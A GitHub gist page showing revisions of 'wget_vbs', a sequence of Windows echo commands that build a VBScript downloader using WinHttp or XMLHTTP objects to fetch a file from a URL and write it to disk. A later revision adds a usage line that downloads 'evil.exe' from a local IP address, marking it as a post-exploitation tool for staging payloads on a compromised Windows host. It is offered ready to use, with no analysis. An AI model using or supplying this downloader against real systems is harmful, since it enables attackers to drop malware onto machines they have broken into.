Skip to content

Instantly share code, notes, and snippets.

@sckalath

sckalath/wget_vbs

Last active August 24, 2025 06:10
Show Gist options

  • Select an option

    Learn more about clone URLs
  • Save sckalath/ec7af6a1786e3de6c309 to your computer and use it in GitHub Desktop.

Select an option

Learn more about clone URLs
Save sckalath/ec7af6a1786e3de6c309 to your computer and use it in GitHub Desktop.
Download ZIP

Revisions

  1. sckalath revised this gist Nov 7, 2014. 1 changed file with 5 additions and 1 deletion.
    6 changes: 5 additions & 1 deletion wget_vbs
    View file
    Original file line number Diff line number Diff line change
    @@ -22,4 +22,8 @@ echo strBuffer = "" >> wget.vbs
    echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs
    echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1,1))) >> wget.vbs
    echo Next >> wget.vbs
    echo ts.Close >> wget.vbs
    echo ts.Close >> wget.vbs


    #After you've created wget.vbs
    cscript wget.vbs http://192.168.10.5/evil.exe evil.exe
  2. sckalath created this gist Nov 7, 2014.
    25 changes: 25 additions & 0 deletions wget_vbs
    View file
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,25 @@
    echo strUrl = WScript.Arguments.Item(0) > wget.vbs
    echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
    echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs
    echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs
    echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs
    echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs
    echo Dim http,varByteArray,strData,strBuffer,lngCounter,fs,ts >> wget.vbs
    echo Err.Clear >> wget.vbs
    echo Set http = Nothing >> wget.vbs
    echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs
    echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs
    echo If http Is Nothing Then Set http = CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs
    echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs
    echo http.Open "GET",strURL,False >> wget.vbs
    echo http.Send >> wget.vbs
    echo varByteArray = http.ResponseBody >> wget.vbs
    echo Set http = Nothing >> wget.vbs
    echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs
    echo Set ts = fs.CreateTextFile(StrFile,True) >> wget.vbs
    echo strData = "" >> wget.vbs
    echo strBuffer = "" >> wget.vbs
    echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs
    echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1,1))) >> wget.vbs
    echo Next >> wget.vbs
    echo ts.Close >> wget.vbs